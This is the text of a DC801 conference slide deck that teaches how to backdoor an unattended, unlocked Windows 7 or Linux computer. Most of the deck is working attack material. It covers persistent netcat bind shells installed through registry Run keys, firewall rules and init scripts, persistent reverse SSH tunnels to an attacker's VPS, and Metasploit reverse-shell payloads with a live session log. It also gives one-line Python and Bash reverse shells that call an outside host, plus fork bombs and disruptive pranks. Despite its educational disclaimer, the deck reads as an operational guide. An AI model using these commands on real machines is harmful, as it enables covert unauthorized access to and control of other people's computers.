An Introduction to Backdooring Operating Systems

Lance Buttars Aka Nemus
DC801

www.dc801.org
www.introtobackdoors.com - Updated Slides

Special Thanks to Natedmac, Metacortex, Grifter, D3c4f and everyone at DC801
Disclaimer

• The information provided in this presentation is to be used for educational purposes only.
• I am in no way responsible for any misuse of the information provided.
• All of the information is to develop a defense attitude in order to provided insight into possibilities.
• In no way should you use the information to cause any kind of damage directly or indirectly.
• You implement the information given in this presentation at your own risk.
• Contact a Lawyer if you have legal questions.
What this presentation does **NOT** cover.

- How to hide your backdoor from skilled forensics investigators.
- How to clean up any logs or breadcrumbs you will leave behind.
- Any legal issues you may encounter.
- This is not the best way to deploy a backdoor, but it's good practice in understanding how backdoors work and what you can do with them.
Perquisites

• Familiarity with Linux command line and bash shell.

• Familiarity with networking and firewalls.

• Familiarity with windows CMD and command line.
Scenario: Target leaves their desk and their computer is unlocked.
Guess what? This happens right?
So what else could we do?

I DON'T ALWAYS LEAVE MY COMPUTER UNLOCKED,

BUT WHEN I DO, I <3 GAY TURTLE AND RESNICK!

I LEFT MY COMPUTER UNLOCKED ONCE

IT WAS HORRIBLE
Let's see how fast we can install a back door.
Backdooring Windows 7

• Lets set up a backdoor on a Windows 7 system using netcat.
• For now lets assume the user is logged in with admin privileges.
Prep Work

• Netcat is not full featured and you will want more capability. To solve this we will create a toolkit of portable applications to:
  – Download more files or addition software.
  – Edit files and make changes.
  – Setup the back door quickly
  – Execute pranks and control a computer remotely.

• Put your toolkit on a usb drive or host it on a remote webservice.
Portable Applications

- Portable applications are applications that have everything they need to run inside their executable binary.
  - They don’t rely on dlls.
  - They don’t rely on registry settings.
  - Hopefully the don’t leave any either.
- They have a very small footprint on the operating system because they don’t require extra setup to run.
Windows 7 Toolkit setup

• gVim
  – [http://code.google.com/p/vim-win3264/downloads/detail?name=vim73-x64.zip&can=2&q=](http://code.google.com/p/vim-win3264/downloads/detail?name=vim73-x64.zip&can=2&q=)

• Wget (for windows 64 bit)

• Netcat
  – Or from Kali find / -name nc.exe
    • [http://www.kali.org/](http://www.kali.org/)
    • [http://joncraton.org/blog/46/netcat-for-windows/](http://joncraton.org/blog/46/netcat-for-windows/)
Hello World of Backdoors
Netcat

• `nc.exe -dLp 449 -e cmd.exe`
  – `L` This option makes Netcat a persistent listener which starts listening again after a client disconnect.
  – `p` Port number that netcat is listening on.
  – `e` Execute a command once a connection has been received in this example we start a cmd session.
  – `d` This has something to do with making nc silent.
Batch commands to set up persistent backdoor on Windows 7

@echo off
copy "%systemdrive%\%username%\Desktop\nc.exe" "C:\Windows\System32\" -y

reg add "HKLM\software\microsoft\windows\currentversion\run" /f /v "system" /t REG_SZ /d "C:\windows\system32\nc.exe -Ldp 449 -e cmd.exe"

netsh advfirewall firewall add rule name="Rule 34" dir=in action=allow protocol=UDP localport=449

netsh advfirewall firewall add rule name="Allow Messenger" dir=in action=allow program="C:\windows\system32\nc.exe"

• # you must run these commands with administrator privileges.

Example expanded from http://www.offensive-security.com/metasploit-unleashed/Persistent_Netcat_Backdoor
Basic Windows CMD

**Linux Commands**
- `cd` - Change directory.
- `pwd` - Present working directory.
- `ls` - List all files in directory.
- `cat file.txt` - Display file contents.
- `wget` - Download files from cli.
- `vim` - Edit files cli.
- `./scriptname` - Run script
- `export PATH=$PATH:/opt/new` - Modify system path to find new executables

**Windows Versions**
- `cd`  
- `pwd`  
- `dir /p`  
- `type`  
- `wget from tool kit`  
- `vim from tool kit (edit is gone 😞)`  
- `wscript scriptname.vbs`  
- `SET PATH=%PATH%;c:\pathtoolkit`
CMD Path

c:\> set PATH "%PATH%;C:\bin"

Batch Script To Manage Windows PATH Environment Variable

http://gallery.technet.microsoft.com/Batch-Script-To-Manage-7d0ef21e
VBS Script to start Netcat in the background.

This is so we don’t have to wait for the user to restart their computer.

```
Dim objShellSet objShell = WScript.CreateObject("WScript.shell")
objShell.run "C:\windows\system32\nc.exe -Ldp 449 -e cmd.exe"
Set objShell = Nothing
```
Connect Using Net cat

nc –v ipaddress port
Verify Netcat backdoor using Process Explorer (PS)

View Connections to your System using TCPView

Download TCPView

<table>
<thead>
<tr>
<th>Process</th>
<th>PID</th>
<th>Protocol</th>
<th>Local Address</th>
<th>Local Port</th>
<th>Remote Address</th>
<th>Remote Port</th>
<th>State</th>
<th>Sent Packets</th>
<th>Sent Bytes</th>
<th>Rcvd Packets</th>
<th>Rcvd Bytes</th>
</tr>
</thead>
<tbody>
<tr>
<td>ntdetect</td>
<td>13052</td>
<td>TCP</td>
<td>10.254.10.188</td>
<td>443</td>
<td>10.254.10.188</td>
<td>37846</td>
<td>ESTABLISHED</td>
<td>1</td>
<td>128</td>
<td></td>
<td></td>
</tr>
<tr>
<td>svchost.exe</td>
<td>860</td>
<td>TCP</td>
<td>10.254.10.188</td>
<td>3389</td>
<td>10.254.10.105</td>
<td>18333</td>
<td>ESTABLISHED</td>
<td>533</td>
<td>208,877</td>
<td>1,428</td>
<td>240,652</td>
</tr>
</tbody>
</table>
Run Command or Batch without cmd

VBScript

```vbscript
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "C:\mybat.bat" & Chr(34), 0
Set WshShell = Nothing
```

Batch

```batch
@echo off
start /B mybat.bat
```

Powershell

```powershell
PowerShell.exe -windowstyle hidden
```
Windows Pranks
http://vbscripts.webs.com/pranks

• Let the keyboard type "Hello" continuously

```vbnet
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "Hello" loop
```

VBScript save as .vbs
Windows Pranks

http://vbscripts.webs.com/pranks

• Toggle the Caps Lock button continuously

```vbscript
Set wshShell =wscript.CreateObject("WScript.Shell")
do
  wscript.sleep 100
  wshshell.sendkeys "{CAPSLOCK}" loop
```

VBScript save as .vbs
Spread Garbage Everywhere randomly


`:ecopy /Y %0 %random%.bat
start %0%0|%0
goto :e

Batch File save as .bat
Start Notepad continuously

@echo off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Or start a website continuously

• start "www.example.com"

Batch File save as .bat

http://vbscripts.webs.com/pranks
Make a disco on their keyboard

- This script lights up your scroll lock, caps lock and num locks LED's and flashes in a cool rhythmic way which gives the perception of a live disco on your keyboard.

```vbnet
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wshshell.sendkeys "{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"loop
```

VBScript save as .vbs

http://vbscripts.webs.com/pranks
Play windows startup tone

```vbs
Set objVoice = CreateObject("SAPI.SpVoice")
Set objFile = CreateObject("SAPI.SpFileStream.1")
objFile.Open "Windows XP Startup.wav"
objVoice.Speakstream objFile
```

VBScript save as .vbs

http://vbscripts.webs.com/pranks
Pop Cd Rom Drive

Continually Pop Out the CD drive

```vb
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
Do If colCDROMs.Count >= 1 Then
    For i = 0 to colCDROMs.Count - 1
        colCDROMs.Item(i).Eject
    Next
End If
wscript.sleep 5000
Loop
```

VBScript save as .vbs
Windows Fork Bomb

- a **fork bomb** is an attack wherein a process continually replicates to eat up available system resources slowing a computer to a crawl.

- Windows Batch Fork Bomb

  ```
  @ECHO OFF
  :START
  START fork.bat
  GOTO START
  ```

  Batch save as .bat
Unclosable File

@echo off
md hello
:A
start hello
goto A

Batch save as .bat
Speak Out Loud to User

```vbs
Set args = Wscript.Arguments
speakargtext = args.Item(0)
strText = "your message here"
Set objVoice = CreateObject("SAPI.SpVoice")
objVoice.Speak strText
objVoice.Speak speakargtext
```

VBScript save as .vbs
Shutdown windows

- `%windir%\system32\shutdown.exe -r -t 00`
- `shutdown -r` — restarts
- `shutdown -s` — shutsdown
- `shutdown -l` — logoff
- `shutdown -t xx` — where xx is number of seconds to wait till shutdown/restart/logoff
- `shutdown -i` — gives you a dialog box to fill in what function you want to use
- `shutdown -a` — aborts the previous shutdown command
Batch to Exe

• To make your scripts and batch files harder to read.
  – This is not foolproof, but helps hide your code.

• Batchor CMD

• VBS

• Powershell
netsh advfirewall
For windows 7

C:\> netsh advfirewall set allprofiles state off
   – Turn off windows firewall will notify user
C:\> netsh advfirewall set allprofiles state on
   – Turns firewall on
C:\> netsh advfirewall reset
   – Reset the firewall back to default
C:\> netsh advfirewall set allprofiles firewallpolicy blockinbound, allowoutbound
   – Block everything
C:\> netsh advfirewall firewall add rule name="HTTP" protocol=TCP localport=80 action=block dir=IN
   – Open Port
C:\> netsh advfirewall firewall delete rule name="HTTP"
   – Delete Rule
Schedule commands with “at” for a later time.

\at\ computername time | /every:date,... /next:date,... command
\at\ computername id /delete | /delete/yes

\computername: Use this parameter to specify a remote computer. If you omit this parameter, tasks are scheduled to run on the local computer.

time: Use this parameter to specify the time when the task is to run. Time is specified as hours:minutes based on the 24-hour clock. For example, 0:00 represents midnight and 20:30 represents 8:30 P.M.

/every:date,...: Use this parameter to schedule the task to run on the specified day or days of the week or month, for example, every Friday or the eighth day of every month.

/next:date,...: Use this parameter to schedule the task to run on the next occurrence of the day (for example, next Monday). Specify date as one or more days of the week (use the following abbreviations: M,T,W,Th,F,S,Su) or one or more days of the month (use the numbers 1 through 31).

command: Use this parameter to specify the cmd command, the program (.exe or .com file), or the batch program (.bat or .cmd file) that you want to run. If the command requires a path as an argument, use the absolute path name (the entire path beginning with the drive letter). If the command is on a remote computer, use the Uniform Naming Convention (UNC) path name (\ServerName\ShareName). If the command is not an executable (.exe) file, you must precede the command with cmd /c, for example, cmd /c copy C

Note When you use the at command, the scheduled task is run by using the credentials of the system account.  
http://support.microsoft.com/kb/313565
Sdelete
(secure delete)

Usage: sdelete [-p passes] [-s] [-q] <file or directory> ...
sdelete [-p passes] [-z|-c] [drive letter] ...

-a Remove Read-Only attribute.
-c Clean free space.
-p passes Specifies number of overwrite passes (default is 1).
-q Don't print errors (Quiet).
-s or -r Recurse subdirectories.
-z Zero free space (good for virtual disk optimization).

Backdoor Linux

• Lets set up a backdoor on a Linux system using `net cat`.
• We assume the users is logged in as root and the terminal is left open and unattended.
Linux Tool Kit

- Compile missing items to make them portable then test them on target systems.
- Auto ssh
  - http://www.harding.motd.ca/autossh/
- Netcat
  - http://netcat.sourceforge.net/
  - Compile it
- Shred (core utils)
  - http://www.linuxfromscratch.org/lfs/view/development/chapter05/coreutils.html
- Screen
Persistent connection script

By default GNU netcat does not have a persistent connection. You will need to run it in a while loop if you want to connect to it more than once. Otherwise it will close the program after the first connection.

```bash
#!/bin/bash
while [ 1 ]; do
    echo -n | netcat -l -v -p 445 -e /bin/bash
done
```
Setup GNU Netcat Backdoor on Linux

# wget http://yourtookitsite.com/netcat

# cp netcat /usr/bin

# iptables -A INPUT -m state --state NEW -m tcp -p tcp --dport 445 -j ACCEPT

# iptables -A OUTPUT -p tcp --dport 445 -m conntrack --ctstate NEW -j ACCEPT

# nohup ./listener.sh &
Have Netcat Start on Boot

• Should we use /etc/rc.local ?
  – Maybe someone might see it
• Centos
  – place startup script in /etc/rc.d/init.d/
• Debian
  – /etc/rc3.d/
  Or
  – /etc/rcN.d where n is the runlevel.
Connecting to the backdoor.

```
nc -v ipaddress port
```

```
root@nemusboxodoom:~# nc -v 10.254.10.158 445
10.254.10.158: inverse host lookup failed: Unknown server error : Connection timed out
(UNKNOWN) [10.254.10.158] 445 (microsoft-ds) open
who
nemus   tty1  2014-06-15 21:19
nemus   pts/0 2014-06-15 21:30 (10.254.10.105)
whoami
root
ps aux | grep netcat
root  10329  0.0  0.1  9304  852 pts/0  S  21:43  0:00 netcat -l -v -p 445 -e /bin/bash
root  10334  0.0  0.1 11744  896 pts/0  S  21:43  0:00 grep netcat
root  11599  0.0  0.0   0    0 pts/0  Z  21:30  0:00 [netcat] <defunct>
^Z
[1]+ Stopped
nc -v 10.254.10.158 445
root@nemusboxodoom:~# ```
View programs that have open ports.

```sh
# netstat -lptun
```

<table>
<thead>
<tr>
<th>Proto</th>
<th>Recv-Q</th>
<th>Send-Q</th>
<th>Local Address</th>
<th>Foreign Address</th>
<th>State</th>
<th>PID/Program name</th>
</tr>
</thead>
<tbody>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:22</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>827/sshd</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:445</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>11608/netcat</td>
</tr>
<tr>
<td>tcp6</td>
<td>0</td>
<td>0</td>
<td>:::::22</td>
<td>::::*</td>
<td>LISTEN</td>
<td>827/sshd</td>
</tr>
<tr>
<td>udp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:26015</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>1108/dhclient</td>
</tr>
<tr>
<td>udp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:13481</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>519/dhclient</td>
</tr>
<tr>
<td>udp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:35599</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>1170/dhclient</td>
</tr>
<tr>
<td>udp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:68</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>1170/dhclient</td>
</tr>
<tr>
<td>udp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:68</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>1108/dhclient</td>
</tr>
<tr>
<td>udp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:68</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>519/dhclient</td>
</tr>
<tr>
<td>udp6</td>
<td>0</td>
<td>0</td>
<td>:::::44537</td>
<td>::::*</td>
<td>LISTEN</td>
<td>519/dhclient</td>
</tr>
<tr>
<td>udp6</td>
<td>0</td>
<td>0</td>
<td>:::::12835</td>
<td>::::*</td>
<td>LISTEN</td>
<td>1170/dhclient</td>
</tr>
<tr>
<td>udp6</td>
<td>0</td>
<td>0</td>
<td>:::::23690</td>
<td>::::*</td>
<td>LISTEN</td>
<td>1108/dhclient</td>
</tr>
</tbody>
</table>
Linux Pranks

• Iptables and perl script to flip images
• Linux Fork Bomb
  –  :(){ :|:& }:
• Write to users terminal
  –  Write username
• Make sure volume is high and send random noise:
  –  Cat /dev/urandom > /dev/dsp

http://unix.stackexchange.com/questions/232/unix-linux-pranks
Change all output to bork bork

perl -e '$b=\"bork\"; while(<STDIN>){$l=`$_ 2>&1`; $l=~s/[A-Za-z]+/$b/g; print "$l\$b@$b:\$ \" ;\}"'}

• http://www.commandlinefu.com(commands/view/177/translate-your-terminal-into-swedish-chef
Send Starwars to other user’s terminal

```bash
# who

  someuser  pts/0   2014-03-20 22:26 (x.x.x.2)
  root     pts/1   2014-03-20 23:34 (x.x.x.2)

# telnet towel.blinkenlights.nl > /dev/pts/0
```

Cowsay to user terminal

```bash
# fortune | cowsay > /dev/pts/0
```

Cmatrix to user terminal

```bash
# cmatrix > /dev/pts/1
```
More Linux Pranks

```
# echo -e '\a'

- Command Bell

while :do
  sleep 60
  echo "Follow the white rabbit."done | write username

- Constantly write to a user's console

alias ls='echo "Segmentation fault"
export PROMPT_COMMAND="ls"

- Add to ~username/.bashrc
makes it look like the system is broken.
```
If you need to disconnect from a process in Linux

# nohup command &

- nohup command &
- Or
  - Ctrl-Z
  - Bg
  - disown %1

PHP compilers

- Bcompiler
- Phc
  - http://www.phpcompiler.org/
- Ioncube
  - http://www.ioncube.com/
- hhvm
  - http://hhvm.com/
- More Compiler Links
Netcat limitations

- Easy to detect.
- Anyone who knows about it or finds it on a open port can connect to it.
- Its not encrypted.
- Requires a lot of setup and additional tools to use effectively.
So now what?

• So now we have a back door into a system, but it requires that we be on the same local area network or have a firewall port open to the box.
• It’s an extremely bad idea to leave a netcat backdoor open to the internet.
• Also its very likely you wont have access to the firewall to open up the port to the public internet.
Setup Persistent SSH Tunnel

- In most cases you can ssh outside to your own ssh server and put in a persistent ssh reverse shell on your target machine.

- Easiest solution is to register a Virtual Private Server (VPS) and have it listen for your ssh reverse shell.

- The reverse shell calls into the remote vps and opens a port on that machine which is tunneled over ssh back to the a port back on the target machine.

- With this in place you can now access the target machine from anywhere.
Reverse SSH Tunneling

• `ssh -f -N -R 10000:localhost:22 user@external_server`

• `-N`
  Do not execute a remote command. This is useful for just forwarding ports (protocol version 2 only).

• `-f`
  Requests `ssh` to go to background just before command execution. This is useful if `ssh` is going to ask for passwords or passphrases, but the user wants it in the background.

• `-R [bind_address:]port:host:hostport`
  Specifies that the given port on the remote (server) host is to be forwarded to the given host and port on the local side. This works by allocating a socket to listen to `port` on the remote side, and whenever a connection is made to this port, the connection is forwarded over the secure channel, and a connection is made to `host port hostport` from the local machine.
Reverse shell Examples

- `ssh -f -N -R 10000:localhost:22 user@external_server`
  - Set port 10000 on remote server and map it to port 22 on this local machine

- `ssh -f -N -R 10001:10.0.2.3:455 user@external_server`
  - Set port 10001 on remote server to ip address port 445

- `ssh -f -N -R 10001:10.0.2.3:455 -R 10000:localhost:22 user@external_server`
  - Note you can also chain the –R command
Generate SSH Key

# ssh-keygen -t rsa

Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
ad:c8:3a:3a:5c:fd:48:34:ad:f2:ac:63:29:70:0e:d0 root@test
The key's randomart image is:
+-----------------+

----------
Copy the generated key to the remote machine.

```bash
ssh-copy-id -l /root/.ssh/id_rsa.pub"-p 2222 user@remotemachine"
```
Use autossh to make reverse shell persistent.

```bash
# autossh -M 10984 -N -f -o "PubkeyAuthentication=yes" -o "PasswordAuthentication=no" -i /root/.ssh/syspub -R 8888:localhost:22 user@remoteserver -p 2222 &
```

- `-i /root/.ssh/syspub`
  - Location of ssh key
- `-M` is for monitoring port
- `-o "PubkeyAuthentication=yes"`
  - use public key authentication
- `-o "PasswordAuthentication=no"
  - Do not ask for password
SSH reverse tunnel on Windows Using plink

C:\>plink -P 22 -l username -pw password -C -R 5900:127.0.0.1:5900

- P SSH server port
- l SSH server login name
- pw SSH server password
- C enable compression
- R Forward remote port to local address

http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html

MyEnTunnel

- Like Autossh allows persistence but requires install and has a system tray.

http://nemesis2.qx.net/pages/MyEnTunnel
Secure your ssh user to your vps or remote box

You will want to secure your ssh server to only allow tunnels through and not give the ssh tunnel user access to a system shell.

This is important in the event that your shell is discovered you don’t want your target to be able to counter attack you and gain access to yours VPS.

Also keep in mind you should be prepared to lose access to your jump point vps in the event they cancel it or someone complains. So make sure you do rely on it for anything else.

http://blog.flowl.info/2011/ssh-tunnel-group-only-and-no-shell-please/
/usr/bin/disable_shell

Create a and add it to /usr/bin

#!/bin/bash
trap " 2 20 24
clear
echo -e ":P Sorry No Dice"
while [ true ] ; do
sleep 500
done
exit 0

make the script executable

chmod +x /usr/bin/tunnel_shell
Test your reverse shell

1. Create a User
2. Generate ssh keys for that user
3. Copy ssh for user
4. Modify /etc/passwd to use disable_shell
5. Setup cron, at, autossh, command to run ssh reverse shell
Secure your ssh jump box for reverse shell user account.

chmod 700 ~/.ssh

edit /etc/passwd

Change

user:x:300:300::/home/rshelluser:/bin/bash

To

user:x:300:300::/home/rshelluser:/bin/bash
Exploits vs Payloads vs Vulnerabilities

- **Vulnerabilities** are places where you can take advantage of an operating system.

- **Exploits** are how you take advantage of vulnerabilities.

- **Payloads** are what you do once the exploit has been executed.
  - In this example the vulnerability is leaving the computer unattended the exploit is the ability to execute scripts we are running to set up the backdoor. The payload would be our reverse shell or our netcat listener.
Using Metasploit

- You will need a server setup to listen for incoming connections that has Metasploit installed. Kali has it installed by default.
- Start metasploit console
  - Msfconsole
- Update metasploit console
  - msfupdate
    - get updates for metasploit
- Metasploit training
  - [http://www.offensive-security.com/metasploit-unleashed/Main_Page](http://www.offensive-security.com/metasploit-unleashed/Main_Page)
Binary Payloads

• Lets generate a binary payload instead of using netcat.
• `msf.payload windows/shell_reverse_tcp O` – O command show all options

Basic options:

<table>
<thead>
<tr>
<th>Name</th>
<th>Current Setting</th>
<th>Required</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>EXITFUNC</td>
<td>seh</td>
<td>yes</td>
<td>Exit technique: seh, thread, process</td>
</tr>
<tr>
<td>LHOST</td>
<td></td>
<td>yes</td>
<td>The local address</td>
</tr>
<tr>
<td>LPORT</td>
<td>4444</td>
<td>yes</td>
<td>The local port</td>
</tr>
</tbody>
</table>

Description:
Connect back to attacker and spawn a command shell

http://www.offensive-security.com/metasploit-unleashed/Binary_Payloads
Example output

- `msfpayload windows/shell_reverse_tcp LHOST=metasploit_server_ip LPORT=listening_port_on_server_ip O`
- `msfpayload -h`
  - List all available payloads.
- `/payload/path O`
  - List available options for payload.
- `/payload/path X > payload.exe`
  - Save payload and save it as a Windows Portable Executable.
- `/payload/path R > payload.raw`
  - Raw Format
- `/payload/path C > payload.c`
  - Export payload as C code.
- `/payload/path J > payload.java`
  - Export code as java code.
Create a payload

msfpayload windows/shell_reverse_tcp LHOST=10.10.10.123 LPORT=7777 > /tmp/david_hasselhoff.exe

file /tmp/david_hasselhoff.exe

PE32 executable (GUI) Intel 80386, for MS Windows

Execute binary on target system and listen for response from binary.
Set msfconsole to listen for your binary.

- Start msfconsole
  - msfconsole
  - use exploit/multi/handler
  - set payload windows/shell/reverse_tcp
  - set LHOST 10.10.10.123
  - set LPORT 7777

- Run exploit
  - exploit (starts listening port on metasploit systems) add it to your tool kit.
Executing binary

<table>
<thead>
<tr>
<th>Process</th>
<th>CPU</th>
<th>Private Bytes</th>
<th>Working Set</th>
<th>PID</th>
<th>Description</th>
<th>Company Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>System Idle Process</td>
<td>78.66</td>
<td>0 K</td>
<td>24 K</td>
<td>0</td>
<td>n/a</td>
<td></td>
</tr>
<tr>
<td>System</td>
<td>0.42</td>
<td>176 K</td>
<td>904 K</td>
<td>4</td>
<td>Hardware Interrupts and DPCs</td>
<td></td>
</tr>
<tr>
<td>interrupts</td>
<td>3.73</td>
<td>0 K</td>
<td>0 K</td>
<td>n/a</td>
<td></td>
<td></td>
</tr>
<tr>
<td>smss.exe</td>
<td>364 K</td>
<td>1,036 K</td>
<td>248</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>csrss.exe</td>
<td>0.01</td>
<td>2,040 K</td>
<td>4,284 K</td>
<td>324</td>
<td></td>
<td></td>
</tr>
<tr>
<td>csrss.exe</td>
<td>0.01</td>
<td>1,560 K</td>
<td>3,644 K</td>
<td>372</td>
<td></td>
<td></td>
</tr>
<tr>
<td>wininit.exe</td>
<td>1,292 K</td>
<td>4,236 K</td>
<td>380</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>winlogon.exe</td>
<td>2,432 K</td>
<td>6,320 K</td>
<td>408</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>LogonUI.exe</td>
<td>0.02</td>
<td>16,440 K</td>
<td>22,220 K</td>
<td>772</td>
<td></td>
<td></td>
</tr>
<tr>
<td>wins.exe</td>
<td>0.10</td>
<td>2,116 K</td>
<td>5,604 K</td>
<td>1564</td>
<td></td>
<td></td>
</tr>
<tr>
<td>winlogon.exe</td>
<td>2,352 K</td>
<td>6,544 K</td>
<td>1756</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>explorer.exe</td>
<td>0.04</td>
<td>50,916 K</td>
<td>67,956 K</td>
<td>2304</td>
<td>Windows Explorer</td>
<td>Microsoft Corporation</td>
</tr>
<tr>
<td>VBoxTray.exe</td>
<td>0.01</td>
<td>4,148 K</td>
<td>7,500 K</td>
<td>2416</td>
<td>VirtualBox Guest Additions Tr...</td>
<td>Oracle Corporation</td>
</tr>
<tr>
<td>proexp.exe</td>
<td>2,292 K</td>
<td>7,640 K</td>
<td>880</td>
<td></td>
<td>Sysinternals Process Explorer</td>
<td>Sysinternals - <a href="http://www.sysinternals.com">www.sysinternals.com</a></td>
</tr>
<tr>
<td>proexp64.exe</td>
<td>12,720 K</td>
<td>22,280 K</td>
<td>2916</td>
<td></td>
<td>Sysinternals Process Explorer</td>
<td>Sysinternals - <a href="http://www.sysinternals.com">www.sysinternals.com</a></td>
</tr>
<tr>
<td>regedit.exe</td>
<td>4,004 K</td>
<td>7,224 K</td>
<td>5904</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>david_hassellhoff.exe</td>
<td>788 K</td>
<td>2,888 K</td>
<td>6948</td>
<td></td>
<td>ApacheBench command line...</td>
<td>Apache Software Foundation</td>
</tr>
<tr>
<td>isched.exe</td>
<td>&lt; 0.01</td>
<td>1,580 K</td>
<td>7,020 K</td>
<td>2584</td>
<td>Java(TM) Update Scheduler</td>
<td>Oracle Corporation</td>
</tr>
<tr>
<td>jucheck.exe</td>
<td>2,820 K</td>
<td>10,264 K</td>
<td>2876</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>nc.exe</td>
<td>1,160 K</td>
<td>3,900 K</td>
<td>1508</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

CPU Usage: 21.34%  Commit Charge: 35.91%  Processes: 45  Physical Usage: 59.02%
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf exploit(handler) > show options

msf exploit(handler) > exploit

[*] Started reverse handler on 10.254.10.166:7777
[*] Starting the payload handler...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 10.254.10.105
[*] Command shell session 3 opened (10.254.10.166:7777 -> 10.254.10.105 2014-06-16 00:09:46 -0600

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\Nemus\Desktop>More?
Appendix A
Code Library

[https://github.com/DC801/Introtobackdoors](https://github.com/DC801/Introtobackdoors)

Please help contribute to our intro to backdoors prank library!

Submit any useful commands or original pranks to the github repository and we will add them in and grow the library.

You can find more information at [www.introtobackdoors.com](http://www.introtobackdoors.com)
Appendix B
One Line Reverse Shells

Setup Net Cat listener to Receive the shells (run on remote server)

```
network -l -p 8080
```

Python (run on target)

```
python -c "import socket,subprocess,os; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(('10.0.0.1',8080)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(['/bin/sh','--i']);"
```

Bash (run on target)

```
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
```

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
Appendix C

VPS for remote files and reverse ssh

Sweden Dedicated

http://swedendedicated.com/vps/

NQHost

Appendix D
Interesting Projects

- Remote ssh Tunnel and Raspberry Pi
  http://www.tunnelsup.com/raspberry-pi-phoning-home-using-a-reverse-remote-ssh-tunnel

- Creating undetectable ssh backdoor using python
  http://resources.infosecinstitute.com/creating-undetectable-custom-ssh-backdoor-python-z/